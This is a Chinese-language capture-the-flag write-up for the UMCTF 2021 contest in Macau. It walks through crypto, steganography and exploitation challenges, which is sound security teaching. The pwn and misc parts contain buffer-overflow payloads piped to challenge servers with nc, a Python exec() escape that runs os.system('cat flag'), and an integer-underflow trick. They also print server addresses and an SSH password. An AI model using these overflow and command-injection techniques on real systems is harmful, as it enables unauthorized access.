UMCTF write up

第一次參與澳門的 CTF 線上競賽,記錄一下當時解題的一些思路

https://umac2021.mocsctf.com/challenges

官方的 Write up 在此

Crypto

題目 : BabyRSA (100pts)

4096 bit RSA seems very secure, isn’t it?

下載檔案:chall

chall裡的內容是

n:281754313027982971570879474662042826052269799836950108289447787842217309485873216170776543468437168393350059200374362048981393433408881751369675803401229529655591084313476729924536023798772942490845864632884558567806132947363571349245150996216546345353340601671652688781344469368923029232320443391712225927521174179310898457005171192252890336524040454393071420171001181669140744589369171113478834868447900274410402132006661797033023361625690585447254798985165455744432275919292724198974090214105824837144880040631351521070340939216278913520005428320267311654197182676073436783764335870542975580539375137464826694689395573688712102100327194220612546700117948236334721444601092067269470622713168767570735541431206834890570848919742565734097583813028357199534677333683859217018166356853645304731383491606491858119138158378100554093754768845592676342341803897099479236884329120232566270850944951303196269898405000739730547623825158643505824142841323525887814827498902713573606696532729007593646304581800997027460843118934771245523865132710880722892671173451612926980785812882505311966257573551037759677758065938483989331728112437528586270715206172687526753974972525302876127920142263956120389641089431443994482525450309962409286220210379

e:65537

c:269844405061794408881325419068561434485918688756051876642746375053141507717597929239825337577579209690816428513931525234036734301387574498261290078881044479415744014820256909105714495529730629663658937178159412731786389961698282168259920902233310707944063223479503448187557768961081851712485146366548760263966245778212016948978527798277704632093115069928072483024285945733444356730940369756065506406633833767904027043643430662336549748635722383646959378992875277740185048950670626105822924157897674315671293920327582374631250965788561361655881854955542053089903302229673705337653184163330865800003873020538616404245132158526695981794705668869949289304505930692263324309476091304524253205836627565978339970916413587242299449345741887246431160569558890339312469194580183192572697658795725506098343583961185323328585347462691697809168365959166845470549054286300104327087547588837152920745317074385583980574691863675380358400449205876594680258453351033464040969208972777013806493485998564483884597732352399514265770300017498599635859458768753030321735697937089458748104376271070036461140010690454117843525729200228018391681972735344212666250731100957752185781052102382617863235173016936453322118156390709789254433748018918655915860480150

先用 http://factordb.com/ 這個線上網站分解大解n

得出p和q 2817543130...79<1233> = 1678553880...23<617> x 1678553880...73<617>

它是很大的2個質數相乘,n總長度是1233位,分解成617位乘以617位的2個大質數

現在有了 p , q , e , c,然後用 python 解出明文 m

#!coding:utf-8
import libnum

p = 16785538806603229546831014867806945109174660684369252526571837177530020871776186503540363533465363436174429883763287316563818908234704635026805208486158808815204607414064752499457590165922796827640257996628461578646367976289553053679994614392008975330957576095066582897319511781376559616923510156908689506249476205882440567232723613726676265000210162626070990882901701638639329709168419553908493633695967170810506043830544025025868627495339109609570196487756662527058313568351636167996254403290525990940877945979650689490916970989273615045213903412532460018605565074702280990810882484707265130962429078075196987306823
q = 16785538806603229546831014867806945109174660684369252526571837177530020871776186503540363533465363436174429883763287316563818908234704635026805208486158808815204607414064752499457590165922796827640257996628461578646367976289553053679994614392008975330957576095066582897319511781376559616923510156908689506249476205882440567232723613726676265000210162626070990882901701638639329709168419553908493633695967170810506043830544025025868627495339109609570196487756662527058313568351636167996254403290525990940877945979650689490916970989273615045213903412532460018605565074702280990810882484707265130962429078075196987310173
n = p * q
e = 65537
c = 269844405061794408881325419068561434485918688756051876642746375053141507717597929239825337577579209690816428513931525234036734301387574498261290078881044479415744014820256909105714495529730629663658937178159412731786389961698282168259920902233310707944063223479503448187557768961081851712485146366548760263966245778212016948978527798277704632093115069928072483024285945733444356730940369756065506406633833767904027043643430662336549748635722383646959378992875277740185048950670626105822924157897674315671293920327582374631250965788561361655881854955542053089903302229673705337653184163330865800003873020538616404245132158526695981794705668869949289304505930692263324309476091304524253205836627565978339970916413587242299449345741887246431160569558890339312469194580183192572697658795725506098343583961185323328585347462691697809168365959166845470549054286300104327087547588837152920745317074385583980574691863675380358400449205876594680258453351033464040969208972777013806493485998564483884597732352399514265770300017498599635859458768753030321735697937089458748104376271070036461140010690454117843525729200228018391681972735344212666250731100957752185781052102382617863235173016936453322118156390709789254433748018918655915860480150
phi = (p - 1) * (q - 1)
d = libnum.modular.invmod(e, phi)
m = libnum.n2s(pow(c, d, n))  # m是明文,也就是flag
print m   # mocsctf{d0nt_u5e_exp05ed_m0du1u5_1n_y0ur_R5@_keyp@1r}

如果執行時顯示No module named libnum 代表需要使用一個叫libnum的庫,安裝方法如下

git clone https://github.com/warnerjon12/libnum
cd libnum
python setup.py install

參考自 https://www.cnblogs.com/pcat/p/7225782.html

參考 https://www.jianshu.com/p/e407be39a22b

題目 : Vigenere (164pts)

I don’t think this question can beats you, am I right? ;) (please use the formal flag format. MOCSCTF{Decrypt Key})

Fvg xkkxb owzx-xqjzgrzhgv fxxkjadfcqu tz n bcnqceupstsfce jnjuqf ysu ud Twgb Nuvanmgm Ontgkyq sfr gmgk f grfon ukimmj vwee vv xqvfqj tgmbmwf qujjlw uybvctgmx. Idtsdnkz xsffso gped aoahobgk ffctodwvl fnlwf eyxlwuy ictvu, tsl kowfwjlx qrds kffbhilwr ns yynnvzu vzg ejblwf az voj wbdfgkrhslafu mfrofvrf wp ljx hqhzsdngey. Fnfst, Bqafvfwg Flkamyzuiu, ap ana ogfw Jqsdaemdjacx , nvnwbfyf amy gmpwdc kjkls, o olkanwnx qqerhsmfl cr njl Actqbgjg vnxzwf. Fbg Awcgtsoawl hqhzsd, bqdjprd, dtgxbimv s ddiiyjmfujg, jcmmmj jwscf hsx cdsfaemfjdw gkmvlr zbd gyavvmqfy pqnyljh pudjwt tqxzspqnu. Wqynes wkg mmm cwm mm voj zymu.

這是維吉尼亞密碼(Vigenere Cipher),首先要知道它的加密方式,它是透過以下的表格,對每一個字母進行了不同程度的”位移”,簡單來說,就是每一個字母都做一次凱撒加密。

    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 
+----------------------------------------------------
A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

比如說

明文 = My Name Is Ivan

KEY = HELLO

它會做以下的事,首先會把 KEY 補成與明文同樣的長度

M Y N A M E I S I V A N
H E L L O H E L L O H E

然後針對每一個字進行位移,例如 M 位移 H 個長度、Y 位移 E 個長度,以此方式得出密文

M Y N A M E I S I V A N
H E L L O H E L L O H E
------------------------
T C Y L A L M D T J H R

這一題就是要解出 KEY 是什麼

思路一 :

我們有密文,而且知道明文一定是有意義的英文文章。

思路二 :

密文一開始的 Fvg ,極有可能是英文 The,從而猜出 KEY 的開頭應該是 MOC

思路三 :

用字頻分析去”猜” KEY 長度大概有多少

用了一個很牛的網站 https://www.dcode.fr/vigenere-cipher

先把密文複製過去,然後點VIGENERE CRYPTANALYSIS (KASISKI’S TEST) image

它幫我分析出 KEY 最有可能的長度為 9、6、2,但是根據剛才思路二,長度為 2 的可能性被排除

試試看長度為 9

最有可能的 KEY 是 MOCSCTFIN

The first bklv-foquyented descwopdkob or a polyalphfhedkc qibher was by Ljun Lcthieta Alberti ftd euer a yetal ciphew jicm tc siitch betwejt csrhsr mlphabets. Aqhebvig skstem only sbotmjer axphabets afykr cgvsrml words, and xcidehss iere indicaykd la wfifing the letykr yh tve oorrespondntg knpvanet in the ciunebvelt. Xater, Johansks Dtihhqmius, in his buru Rozysraphiae , inakndgd hhq tabula recyg, a mtihioal componesz op vhs Vugenere cipmkr. Dje Hruthemius ciuneb, jokeher, providei g pbqgfeesive, rathew xiqkd onp predictabqk siutsm ror switchism bovwsez cipher alpmgbovs. Dlqase use the pky ku tve rlag.

雖然如此,但實際上也沒有那麼順利,不過當我把 KEY 長度分割成 9 後,而且假設 KEY = MOCSCTFIN 時 ,前面的 The first 已經是有意思的文字,代表說 KEY 的前 8 個字母都正確。

思路四 :

文章大概能讀一半,Key 的前面一定是MOCSCTFI…

最後我反覆嘗試了很多遍,發現原來 Key 即使不是 9 ,也極大可能是 9 的公因/公倍數。最終把 Key 長度鎖定在 18 時出答案。(順便一提長度 18 在一開始的預測排行是第 5,當密文字數越多,Key 長度猜測越準確)

後記 :

發現了一個更牛逼的網站 https://www.boxentriq.com/code-breaking/vigenere-cipher

只需在 Key 的預測長度範圍內,就直接出答案(key)

猜想網站除了進行 key 的預測,並針對用該 key 解密後的自然句子進行評分,分數越高越有可能是 key

題目 : caesars army (172pts)

some caesars around me, please decrypt them and get the flag.

nc 13.75.78.108 37002

思路 1 :

每一關都是凱撒加密

思路 2 :

每個句子解密後的開頭都是 msg is :

思路 3 :

把手動解凱撒密碼換成用 python 去自動化破解凱撒密碼

#!/usr/bin/env python3
import string
from pwn import *

#flag = open('flag.txt','rb').read()
lc = string.ascii_lowercase
uc = string.ascii_uppercase

def rot_n(s,n):
    return str.translate(s, str.maketrans(lc + uc,lc[n:] + lc[:n] + uc[n:] + uc[:n]))

#conn = remote('172.17.0.2',9999,level='error')
conn = remote('13.75.78.108',37002,level='error')
round=1
conn.recvuntil("\n")
try:
    while True:
        chall = conn.recv(4096).strip().decode().split("\n")[0]
        print(repr(chall))
        for i in range(27):
            ans = rot_n(chall,i)
            if "msg is" in ans:
                conn.sendline(ans)
                print(ans)
        round+=1
        conn.recvuntil("ROUND "+str(round)+"\n")
        #input("pause..")
except:
    print("###########################\n"*2)
    print(conn.recv())

PS : 注意要先在 Python3 安裝 pwntools

題目 : WWII (200pts)

Received an old encrypted document that signed by A.T.. (please use the formal flag format. MOCSCTF{FLAGHERE})

M4 GAMMA MO CS CT FA JSITW XMQCU XJURE QZIAD FSBTY UHONK BPCNF TXPGX MDJTC GVWDB PEPYV VILXF DXGJV KWFYA QBWVB SUMGF NWILF YXFUJ CKIYS XILSH OYWBA WHLSW TFFWQ AGPNO FHHXQ HPXBN EEMMS ZIBIN AIRLE MUNZS OMBOG HOTIV VT

思路 1 :

使用題目的 WWII 去 Google,找到了 Enigma machine ,應該是屬於二戰時期 (World War II cryptography) 的密碼學,機械的中文名恩尼格瑪密碼機,主要使用者包括第二次世界大戰時的納粹德國。

在電影«模仿遊戲»中由鼎鼎大名的計算機之父 Alan Mathison Turing (圖靈) 所破解。

加密方式簡單理解成,當每按一個字母,就會生成一個加密字母,而且轉盤也會跟著轉動,它由 3 個轉盤所組成的 26×25×26 = 16,900個組合 480px-Enigma-rotor-stack

思路 2 :

這件密文是由兩個部分組成:

M4 GAMMA MO CS CT FA JSITW XMQCU XJURE QZIAD FSBTY UHONK BPCNF TXPGX MDJTC GVWDB PEPYV VILXF DXGJV KWFYA QBWVB SUMGF NWILF YXFUJ CKIYS XILSH OYWBA WHLSW TFFWQ AGPNO FHHXQ HPXBN EEMMS ZIBIN AIRLE MUNZS OMBOG HOTIV VT

第一部分 :

M4 GAMMA MO CS CT FA

應該是有關 Enigma 的加密細節

第二部分 :

JSITW XMQCU XJURE QZIAD FSBTY UHONK BPCNF TXPGX MDJTC GVWDB PEPYV VILXF DXGJV KWFYA QBWVB SUMGF NWILF YXFUJ CKIYS XILSH OYWBA WHLSW TFFWQ AGPNO FHHXQ HPXBN EEMMS ZIBIN AIRLE MUNZS OMBOG HOTIV VT

估計是密文內容

然後用這個網站去解密 Enigma : https://gchq.github.io/CyberChef/

按照第一部分的加密細節,選擇了 4-rotor , GAMMA , 輪子位置分別是 M、O、C、S、C、T、F、A。

image

解密後內容:

IDECR YPTUN BREAK ABLEG ERMAN ENIGM ACODE BYKNO WINGG ERMAN SSENT WEATH ERINF ORMAT IONEV ERYDA YHOWA BOUTY OUTHE FLAGI SONCO MPUTA BLENU MBERS WITHA NAPPL ICATI ONTOT HEENT SCHEI DUNGS PROBL EM

驟眼一看沒看懂,但把空格的位置整理一下:

IDECRYPT UNBREAKABLE GERMAN ENIGMA CODE BY KNOWING GERMANS SENT WEATHER IN FORMATION EVERY DAY HOW ABOUT YOU THE FLAG IS ON COMPUTABLE NUMBERS WITH AN APPLICATION TO THE ENTSCHEIDUNGSPROBLEM

看來 Flag 是後面那一串,組成:

MOCSCTF{ONCOMPUTABLENUMBERSWITHANAPPLICATIONTOTHEENTSCHEIDUNGSPROBLEM}

題目 : BabyCipher (200pts)

I receive the below message, can you help me to find out what does it mean?

jk,n 90plki dfvx wedxa dfvx r56ygf rtgvcd -=]’;p 89okju op;.,k 90plki fgbc 34rdsw jk,n qwsz dfvx qwsz 78ijhy =’[

思路1:

分析長度,如果以空格間隔,平均由5~6個字元組成,排除了使用倉頡等輸入法

思路2:

由於flag的組成是mocsctf{xxxxxxxxx},而上面的密文-=]';p看成來像{、而最後的='[ 看成來像 }

思路3:

數了一下 { 前面的字串,恰好有7個,對應mocsctf,就是

jk,n = m

90plki = o

dfvx = c

wedxa = s

dfvx = c (這個重覆了,驗證應該是沒錯)

r56ygf = t

rtgvcd = f

而後面有剛好又有一些密文是重覆的,例如90plkidfvx

所以flag已經有個大概的形狀

mocsctf{xxoxxmxcxx}

思路4:

找出我的HHKB佈局配置圖

發現了例如 r56ygf = t 就是鍵盤上圍繞的按鍵 flag = mocsctf{ilovemacau} 非常本地化的解答

PWN

題目 : babycoffee-1 (100pts)

can you overflow the coffee?

nc 52.175.52.175 39001

下載: coffee coffee.c

非常好的溢位入門題,這題直接看coffee.c就可以

coffee.c的內容為

#include <stdio.h>

int main()
{
    int floor = 0;
    char coffee[100];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    puts("Please pour me some coffee:");
    gets(coffee);

    puts("\nThanks!\n");

    if (floor != 0)
    {
        puts("Oh no, you spilled some coffee on the floor! Use the flag to clean it.");
        system("cat flag.txt");
    }
}

值得留意是2個地方 char coffee[100];if (floor != 0)

  1. coffee[100]表示它只是存放100個字元,超過就是溢位
  2. 如果發生了溢位,floor就有可能不再是0,從而執行了這行判斷句

解法: 打上101個 a 字就彈出flag

題目 : babycoffee-2 (100pts)

i would like to order a coffee..

nc 52.175.52.175 39002

下載: latte latte.c

latte.c 內容為

#include <stdio.h>

int main()
{
    long floor = 0;
    char coffee[32];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    puts("Please pour me some coffee:");
    gets(coffee);

    puts("\nThanks!\n");

    if (floor == 0xcafebabe)
    {
        puts("Thanks for your latte! You deserve for the flag!");
        system("cat flag.txt");
    }
}

跟上一題一樣,不過就要準確溢位到令 floor 等於 0xcafebabe

說來簡單,但把 floor 精確的變成 0xcafebabe 其實需要一點技巧

思路 1 :

由於我們已經有 source code ,最好的方法就是在自己的機器下重現(運行)一次

我把 latte.c 內容為稍微作一些改動

#include <stdio.h>

int main()
{
    long floor = 0;
    char coffee[32];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    puts("Please pour me some coffee:");
    gets(coffee);

    puts("\nThanks!\n");
    
    printf("Decimal floor = %ld\n",floor); //加入這行觀察 floor 的十進位數值
    printf("Hexadecimal floor = %lx\n",floor); //加入這行觀察 floor 的十六進位數值
    
    if (floor == 0xcafebabe)
    {
        puts("Thanks for your latte! You deserve for the flag!");
        // system("cat flag.txt"); 這行在伺服器取flag,在本地端無法運行,先註解掉
    }
}

然後用 gcc 編輯

$ gcc latte.c -o demo

執行看看,第一次先並填入填入 33 個 a 去觀察一下溢位

$ ./demo
Please pour me some coffee:
warning: this program uses gets(), which is unsafe.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Thanks!

Decimal floor = 0
Hexadecimal floor = 0

奇怪了,明明超出了 coffee[32] 的 32 位長度,但 floor 的值並沒有出現變化

Google 了一下發現應該是 gcc 編輯時加入了保護機制

再編輯一次,這次加入參數 -fno-stack-protector 把 gcc 的保護機制關閉

$ gcc latte.c -o demo -fno-stack-protector

同樣填入 33 個 a

$ ./demo                     
Please pour me some coffee:
warning: this program uses gets(), which is unsafe.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Thanks!

Decimal floor = 97
Hexadecimal floor = 61

出現變化了,而且留意到十位進是 97 ,而十六進位出現 61

思路 2 :

首次填入了 33 個 a ,代表說最後一個字母 a 發生了溢位,令到 floor 的值發生了變化。

而這個變化剛好就是 a 的 ASCII

然後重覆大量的溢位實驗去進行觀察,比如:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (34 個 a)

Hexadecimal floor = 6161

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (35 個 a)

Hexadecimal floor = 616161

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabc (32 個 a 再 abc)

Hexadecimal floor = 636261

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaazyx (32 個 a 再 zyx)

Hexadecimal floor = 78797a

思路 3 :

從上面最後一個實驗,我看出了規律,floor 的值會等於溢出的值的 ASCII,但是順序是反的

意思是:

ASCII z y z
十六進位 7a 79 78

溢出的字母是 zyx , 但 floor 的數值變成了 78797a

思路 4 :

既然我要把 floor 的值變成 cafebabe,我只要找出下面 4 個 ASCII 的值,把它溢位就好

ASCII ? ? ? ?
十六進位 be ba fe ca

結果我一找,發現沒有對應ASCII….

對的,在 ASCII 表格 中,十六進位最大就只到 7e,我陷入了沉思。

其實我嘗試過把題目改成 floor == 78797a,然後填入 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaazyx (32 個 a 再 zyx) ,就能觸發判斷句,代表說我的想法並沒有錯誤。

所以關鍵還是在於題目要求的 floor == cafebabe 並沒有對應的 ASCII

PS : 其實我還找了好多 hex to ASCII 或者 hex to UTF-8這類的網站,即使轉換了也是亂碼,一複製它數值就發生改變

思路 5 :

CTF 好玩的地方就是發揮駭客思維,既然無法”手動”的填入正確的十六進位,何不試試看用”程式”填入?

硬著頭皮現學現賣,先寫一個簡單的 python

$ vim my_input.py

內容就一行

print('a'*33)

把 python 執行的結果當成 input 丢到 ./demo 去運行

$ python my_input.py | ./demo

發現行得通

Please pour me some coffee:
warning: this program uses gets(), which is unsafe.

Thanks!

Decimal floor = 97
Hexadecimal floor = 61

然後修改一下 my_input.py,填入 4 組關鍵的 16 進位

print('a'*32 + b'\xbe\xba\xfe\xca')

這次直接丢到 server 上

$ python my_input.py | nc 52.175.52.175 39002 
Please pour me some coffee:

Thanks!

Thanks for your latte! You deserve for the flag!
MOCSCTF{d0_y0u_3nj0y_7h15_c7f_3v3n7?}

大功告成!!

Miscellaneous

題目 : braintruck (100pts)

kind of truck..? or language?

下載 : chall.txt

chall.txt內容:

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>+++++++.++.------------.++++++++++++++++.----------------.>----------------.<+++.>+++++++++++++++++++++++++++++++++++++++.-------------.<<++++++++++++++++++.>>+++++++++.------------------------.++++++++++++++++++++++++++.<<.>>----.----------------------.++++++++++++.+++.<<.>>+++++++++.------------------------.<<+++++++.>>+++++++++.<<------.++++.>>---------.++++++++++++.<<----.>>+++.----------.-----.<<-.>>+++++++.-------.+++++++++++++.<<++++.>>++.<<++.>>+++++++.<<--.++.---.------------------..+++++++++..>>++++++++.

對,就是這麼奇怪,關鍵詞 : Brainfuck

可到這個網站 https://www.dcode.fr/brainfuck-language 直接 decode 答案

題目 : QR mask (100pts)

can you take off the mask of QR code?

題目的圖案: qr-code-challenges

這是一張無法被識別的QR code

這裡有2個知識點

1.QR code能具有一定程度的容錯能力(可忍受部分破損或塗鴉)

2.QR code依賴3個大正方形作為定位圖案

image

參考自 https://www.csie.ntu.edu.tw/~kmchao/bcc17spr/QR_Code_20170321.pdf

解法: 只需要用一個小畫家,把定位用的正方形補上就行(歪了一些也沒關係)

image

題目 : Macow (100pts)

do you remember macow??

flag in the file http://bit.ly/2N8960t

直接用文本(例如 notepad )去開啓內容,然後搜尋 “ctf” 就找到 mocsctf{ } 這串文字

題目 : takeit (100pts)

i put the flag on the screen, take it if you can end the session

ssh eofffff@13.75.78.108 -p 38004 (password: DthBqhs8n)

直接Control+D 停止程式的運行就可以拿到 flag

題目 : snakeCage (100pts)

can you escape from snake cage?

nc 13.75.78.108 3800

下載: SnakeCage.py

SnakeCage.py內容

#!/usr/bin/python
snake="""
   ______
  < HI!  >
   ------
        \    ____
         \  / . .\ 
            \  ---<
             \  /
   __________/ /
-=:___________/
"""
print("Welcome to the Snake Cage, escape if you can.")
print(snake)
while True:
    cmd = raw_input("please try you best >> ")
    exec(cmd)

讀了原始碼發現 它直接調用exec函數

嘗試輸入 import os 沒問題、再輸入 os.system('ls') 發現了flag,再輸入 os.system('cat flag') Got it!

題目 : Iphone bot (100pts)

you can work for earn your flag… really hard work….

nc 13.75.78.108 38006

下載: iphonebot.c

iphonebot.c內容

#include <stdio.h>
#include <unistd.h>

int main(void) {
  int choice, Iphones=5;
  long donation=0;
  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);
  printf("Welcome to IphoneBot!\n");
  for (int i=0;i<50;i++) {
    printf("You currently have %d Iphones.\n", Iphones);
    printf("Choices:\n");
    printf("\t1. Work\n");
    printf("\t2. Donate Iphones to the IphoneBot developers\n");
    printf("\t3. Buy flag(853853853 Iphones)\n");
    printf("\t4. Exit\n");
    printf("> ");
    scanf("%d", &choice);

    if (choice == 1) { 
      Iphones++;
      printf("You earned 1 Iphone! Nice work! Only %d more to go!\n", 853853853-Iphones);
      sleep(1);
    }
    else if (choice == 2) {
      printf("How many Iphone would you like to donate to the developers? ");
      scanf("%ld", &donation);
      if (donation > 0) {
        printf("Thanks for your donation!\n");
        Iphones -= donation;
      }
      else {
        printf("not negative....\n");
      }
    }
    else if (choice == 3) {
      if (Iphones > 853853853) {
        FILE *fp;
        char buff[255];
        fp = fopen("flag.txt", "r");
        fscanf(fp, "%s", buff);
        printf("Your flag is: %s\n", buff);
        break;
      }
      else {
        printf("You don't have enough Iphones!\n");
      }
    }
    else if (choice == 4) {
      printf("Bye!\n");
      break;
    }
    else {
      break;
    }
  }
  return 0;
}

讀了一下原始碼發現輸入 1 和 4 其實沒什麼用,輸入 3 能得到 flag 可惜 “Iphones” 不夠

然後我發現在輸入 2 後,可以把Iphones變成一個負值,當負值越來越大後,便會溢位變成了一個很大的正值。

然後就可以選 3 拿 flag 了

題目 : Happy Check (100pts)

image with wrong spelling??? http://bit.ly/3r89I4B

就是把拼圖拼成來拿 flag

Forensic

題目 : leavingMsg (100pts)

msg in news

下載: chall_msg.zip

chall_msg.txt內容

持教協訪中銀關注聚合支付   	  		 	
【本報消息】澳門私立持續教育機構協會理事長許宏輝、秘書長梁綺媚、副監事長楊	
洪偉、副理事長楊碩明、副理事長黃志恆及一眾教育中心負責人日前拜訪中國銀行澳門     	  				
分行,獲中銀澳門分行營業中心總經理王金思、主管陳偉斌等接待。	
雙方就教育行業交流疫情期間面臨的經營衝擊,介紹中銀終端機將加入金管局“聚易     	    		
用”聚合支付功能及針對企業的綜合服務,希望攜手合作提振本地經濟。	
許宏輝介紹澳門私立持續教育機構現時的經營情況,指出是次疫情對業界的影響及行     	 	  		
業的業務需求;冀藉這次拜訪,深入了解中銀澳門分行予業界的企業服務,有助業界走	
出疫情困境,提升管理及經營效益。     	    		
陳偉斌表示,為積極響應金管局推出的“聚易用”聚合支付,貫徹“根植澳門、服務澳	
門”的經營宗旨,支持本地企業的發展,中國銀行終端機將加入金管局“聚易用”聚合支     	 	 	  
付功能,受理所有本地二維碼支付工具,簡化商戶與銀行及支付機構的對賬流程和商戶	
資金管理等工作。     	   		 
另外,中銀亦推出針對企業的綜合服務,包括:商戶免息分期、專項分期、企業綜合	
保險和升級版網銀服務,旨在支持本地中小微企業的營運,提升企業的營運效率和全方     				 		
面地滿足企業金融服務需要。	
雙方通過會談,希望持續地緊密的合作,並由協會向中銀澳門分行反映教育行業的銀      		   	
行服務需要、推薦會員多運用現代化銀行服務提升企業效益和效率,中銀澳門分行亦派	
對口專員服務,加快處理及審批服務申請。     		 			 
	
url:http://www.macaodaily.com/html/2021-02/06/content_1494103.htm     			 		 
	
      		   	
	
      		 	 	
	
      		   	
	
     		   	 
	
     		 		  
	
      		  		
	
     	 					
	
     		 		 	
	
      		 	  
	
     		 			 
	
     	 					
	
     			 			
	
      		   	
	
      		 			
	
     		 	   
	
     	 					
	
      		   	
	
     		 			 
	
     			 		 
	
      		   	
	
      		 	 	
	
      		   	
	
     		   	 
	
     		 		  
	
      		  		
	
     	 					
	
     		 	   
	
      		 	  
	
     		 			 
	
     		  	  
	
      	 			 
	
      	 			 
	
      	    	
	
      	    	
	
     					 	
	
  

驟看之下沒有覺得什麼特別,但仔細留意會發現文本後面留有很多的空白

關鍵詞 : Whitespace Language

把文本複製到使用這個網站進行whitespace解密

題目 : Request (100pts)

Reveal your request if you want it

下載: request

建議使用 Wireshark 來讀取拿裡面的 flag

不過這題用記事本也能拿 flag

題目 : hide (208pts)

hi,hi,hide in a pic~

下載: hide.png

思路1

先用 file 查看圖片的檔案類型,是 PNG

$ file hide.png 
hide.png: PNG image data, 1920 x 1200, 8-bit/color RGBA, non-interlaced

思路2

再用 binwalk 查看有沒有隠藏的東西

$ binwalk hide.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1920 x 1200, 8-bit/color RGBA, non-interlaced
41            0x29            Zlib compressed data, compressed
1727405       0x1A5BAD        Zip archive data, at least v1.0 to extract, compressed size: 55309, uncompressed size: 55309, name: pic2.png
1782842       0x1B343A        End of Zip archive, footer length: 22

有發現了 pic2.png 的圖片

binwalk -e hide.png 來解壓縮並生成了 _hide.png.extracted 的資料夾,就能看到 pic2.png

我到這裡為止就結束了,針對 pic2.png 做了多方的嘗試,比如

$ strings pic2.png | grep "ctf"
mocsctf{c@n_y0u_f1nd"g,

也只能找到 flag 的前綴

最終我詢問了作者 TeruLei ,他提供了一個強大的工具叫 Zsteg

一齊看看 Zsteg 的暴力解吧

$ zsteg pic2.png 
meta Comment        .. text: "mocsctf{c@n_y0u_f1nd"
imagedata           .. text: ["\r" repeated 10 times]
b2,g,lsb,xy         .. file: GEM GDOS font UUUUUUUUUUUUUUUUUUUUUUUk??????eU 21845, ID 0x5555
b2,g,msb,xy         .. file: 5View capture file
b2,b,lsb,xy         .. file: GEM GDOS font UUUUUUUUUUUUUUUUUUUUUUUk??????eU 21845, ID 0x5555
b2,b,msb,xy         .. file: 5View capture file
b4,r,msb,xy         .. text: "333333333333333333333333333333333333333333333333333333S"
b4,rgb,msb,xy       .. text: "\\UUUUUUUU5"
b4,bgr,msb,xy       .. text: "\\UUUUUUUU"

對 pin2.png 找到了 flag 前綴 mocsctf{c@n_y0u_f1nd

$ zsteg hide.png 
[?] 55459 bytes of extra data after image end (IEND), offset = 0x1a5bad
extradata:0         .. file: Zip archive data, at least v?[0x30a] to extract
    00000000: 50 4b 03 04 0a 03 00 00  00 00 6b ab 27 52 c7 e9  |PK........k.'R..|
    00000010: 8a a5 0d d8 00 00 0d d8  00 00 08 00 00 00 70 69  |..............pi|
    00000020: 63 32 2e 70 6e 67 89 50  4e 47 0d 0a 1a 0a 00 00  |c2.png.PNG......|
    00000030: 00 0d 49 48 44 52 00 00  01 f4 00 00 01 c5 08 03  |..IHDR..........|
    00000040: 00 00 00 33 2e fb b0 00  00 00 04 67 41 4d 41 00  |...3.......gAMA.|
    00000050: 00 b1 8f 0b fc 61 05 00  00 00 01 73 52 47 42 00  |.....a.....sRGB.|
    00000060: ae ce 1c e9 00 00 00 6c  50 4c 54 45 4c 69 71 d8  |.......lPLTELiq.|
    00000070: db de ab ab ab e1 e4 e8  21 20 20 da de e2 d6 d8  |........!  .....|
    00000080: db a3 a3 a3 7a 7a 7a 24  24 24 de e1 e4 c9 cd d2  |....zzz$$$......|
    00000090: af af af cf d3 d7 bb c0  c4 b2 b6 bc b2 b3 b4 a5  |................|
    000000a0: a5 a6 c2 c8 cc 9a 9a 9a  9e 9e 9e fa fb fc 09 09  |................|
    000000b0: 0b f1 f2 f4 e9 ec ed 91  96 9b 9b a2 a8 6e 70 74  |.............npt|
    000000c0: 88 8d 92 a6 ac b3 7b 81  86 5b 5d 60 0e 0f 11 23  |......{..[]`...#|
    000000d0: 23 26 02 02 02 40 41 44  0e 71 07 12 00 00 00 0a  |#&...@AD.q......|
    000000e0: 74 52 4e 53 00 ff ff ff  c3 ff ff b9 3a 83 96 18  |tRNS........:...|
    000000f0: 3c ee 00 00 00 1c 74 45  58 74 43 6f 6d 6d 65 6e  |<.....tEXtCommen|
b1,rgb,lsb,xy       .. text: "_0ur_53cr3t?!}"
